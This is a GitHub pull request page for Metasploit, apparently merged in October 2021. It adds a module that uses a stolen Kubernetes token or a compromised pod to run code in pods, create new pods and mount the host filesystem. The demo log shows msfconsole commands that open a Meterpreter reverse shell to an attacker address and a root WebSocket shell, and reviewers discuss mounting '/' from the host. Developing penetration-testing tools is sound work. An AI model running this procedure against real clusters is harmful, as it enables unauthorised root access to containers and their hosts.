Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Module For Kubernetes Pod Authenticated Code Execution #15733

Merged
merged 22 commits into from
Oct 21, 2021

Conversation

zeroSteiner
Copy link
Contributor

@zeroSteiner zeroSteiner commented Oct 1, 2021

This adds a module to obtain authenticated code execution within a Kubernetes pod. The user must have a Kubernetes JWT token, and access to the Kubernetes REST API through some means (either direct or through a compromised pod). A session on an existing pod can be used to configure a few options, including the JWT token and RHOST / RPORT options. Some changes were made to the RHOSTS and SESSION validation code to honor instances in which they are marked as optional. When defined, the validation still takes place either way, but when they are marked as optional and blank the validation is skipped to allow the module to run.

When pivoting over a session, connections can timeout occassionally. There's an HttpClientTimeout datastore option that can be increased to adjust this, or just retry the module.

WebSockets

This includes a new WebSocket implementation built on top of the existing Rex::Proto::Http client code. It includes a frame definition, convenient functions for sending and receiving raw frames, a dispatch loop and a channel wrapper for direct read / write operations. The dispatch loop will handle ping requests, unmasking requests, fragmentation of received data, and close requests. It allows the API consumer to just deal with the data frames.

The WebSocket can be used to obtain an interactive shell session without delivering a Metasploit payload.

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • use exploit/multi/kubernetes/exec
  • Test the module with explicit options (for scenarios where direct access to the Kubernetes REST API is available)
  • Test the module pivoted over a Meterpreter session (for scenarios where an existing Pod is compromised)
  • Test the creation of a Pod works (leave the POD datastore option blank, watch it be created automatically 🪄 )
    • See the created pod's information is in the database (if it's connected)
  • Test the Interactive WebSocket target, get a session
  • Test the Unix Command target, see output from the command
  • Test the Python target, get a session is Python is installed otherwise install it first

Demo

In this scenario, Metasploit has direct access to the Kubernetes API. A known token is used to execute a Python payload
within the thinkphp-67f7c88cc9-tgpfh pod.

msf6 > use exploit/multi/kubernetes/exec 
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/kubernetes/exec) > set TOKEN eyJhbGciOiJSUzI1...
TOKEN => eyJhbGciOiJSUzI1...
msf6 exploit(multi/kubernetes/exec) > set POD thinkphp-67f7c88cc9-tgpfh
POD => thinkphp-67f7c88cc9-tgpfh
msf6 exploit(multi/kubernetes/exec) > set RHOSTS 192.168.159.31
RHOSTS => 192.168.159.31
msf6 exploit(multi/kubernetes/exec) > set TARGET Python 
TARGET => Python
msf6 exploit(multi/kubernetes/exec) > set PAYLOAD python/meterpreter/reverse_tcp
PAYLOAD => python/meterpreter/reverse_tcp
msf6 exploit(multi/kubernetes/exec) > run
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Sending stage (39736 bytes) to 192.168.159.31
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.31:59234) at 2021-10-01 09:55:00 -0400
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : thinkphp-67f7c88cc9-tgpfh
OS           : Linux 5.4.0-88-generic #99-Ubuntu SMP Thu Sep 23 17:29:00 UTC 2021
Architecture : x64
Meterpreter  : python/linux
meterpreter > background 
[*] Backgrounding session 1...
msf6 exploit(multi/kubernetes/exec) >

Next, the compromised session is used to access the internal Kubernetes endpoint, create a new pod and open a shell
directly via a WebSocket.

msf6 exploit(multi/kubernetes/exec) > set TARGET Interactive\ WebSocket
TARGET => Interactive WebSocket
msf6 exploit(multi/kubernetes/exec) > run RHOST="" RPORT="" POD="" SESSION=-1
[*] Routing traffic through session: 1
[+] Kubernetes service host: 10.96.0.1:443
[*] Using image: busybox
[+] Pod created: burhgvzc
[*] Waiting for the pod to be ready...
[*] Found shell.
[*] Command shell session 2 opened (172.17.0.31:59437 -> 10.96.0.1:443) at 2021-10-01 10:05:57 -0400
id
uid=0(root) gid=0(root) groups=10(wheel)
pwd
/

@smcintyre-r7 smcintyre-r7 added breaking change Features that are great, but will cause breaking changes and should be deployed on a large release. docs module labels Oct 1, 2021
'uri' => http_client.normalize_uri("/api/v1/namespaces/#{namespace}/pods/#{name}/exec"),
'query' => build_query_string({
'command' => command,
'stdin' => !!options.delete('stdin'),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What is this guarding against? 👀

Strings are always truthy in Ruby, so I'm not sure what data type we're coercing here:

2.7.2 :006 > !!false
 => false 
2.7.2 :007 > !!''
 => true 
2.7.2 :008 > !!'false'
 => true 
2.7.2 :009 > !!'true'
 => true 
2.7.2 :010 > !!0
 => true 

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is ensuring that the values are boolean, which is required to make sure they're mapped to 'true' and 'false' strings relying on Ruby's #to_s method. If a string value like "no" was passed in, it would be sent as is to the REST API and is invalid in this context.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If the string 'no' was passed in, it would still end up as being set to true? 👀

2.7.2 :006 > args = {stdin: 'no'}
 => { :stdin=>"no" } 
2.7.2 :007 > !!args.delete(:stdin)
 => true 

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Or rather, if it's not a boolean, something's gone wrong - as !! will force most things to be a boolean true in Ruby - which doesn't seem like great fallback behavior for unintended types being passed in

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yes that's intended because strings are truthy in Ruby. I could write this more explicitly as options.delete('stdin') ? 'true' : 'false' if that would improve readability in your opinion.

@smcintyre-r7 smcintyre-r7 added feature and removed breaking change Features that are great, but will cause breaking changes and should be deployed on a large release. labels Oct 1, 2021
{
name: random_identifiers[:volume_name],
hostPath: {
path: '/Users'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I threw in /Users here as a test, but I think we should mount /, make it configurable, or use a collection of potentially valid paths - as it's possible for the the kubernetes host to restrict the allowed mount locations

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Configuring a series of key values pairs wouldn't be easy with our datastore so using a collection of potentially valid paths would probably be a better way to go. You want to let me know what paths you think should be added?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

That sounds good to me to make it user configurable, but we'd definitely want to use / as the default path - as /Users was specific to my mac environment at the time 😄

print_status('Waiting for the pod to be ready...')
10.times do
sleep 3
phase = @kubernetes_client.get_pod(pod_name, namespace)&.dig(:status, :phase)&.downcase
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I wonder if it would be useful to log the value of this at least once/occasionally to let the user know something's happening 🤔

The module will now iterate over identified image names by default and
also allows an explicit image name to be specified using the new
PodImage advanced option.
@adfoster-r7 adfoster-r7 merged commit 2f86b33 into rapid7:master Oct 21, 2021
@adfoster-r7 adfoster-r7 added the rn-modules release notes for new or majorly enhanced modules label Oct 21, 2021
@adfoster-r7
Copy link
Contributor

adfoster-r7 commented Oct 21, 2021

Release Notes

Adds a new exploit/multi/kubernetes/exec module. It can be run via an established session within a Kubernetes environment or with an authentication token and target information. The module creates a new pod which will execute a Meterpreter payload to open a new session, as well as mounting the host's file system when possible.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs feature module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants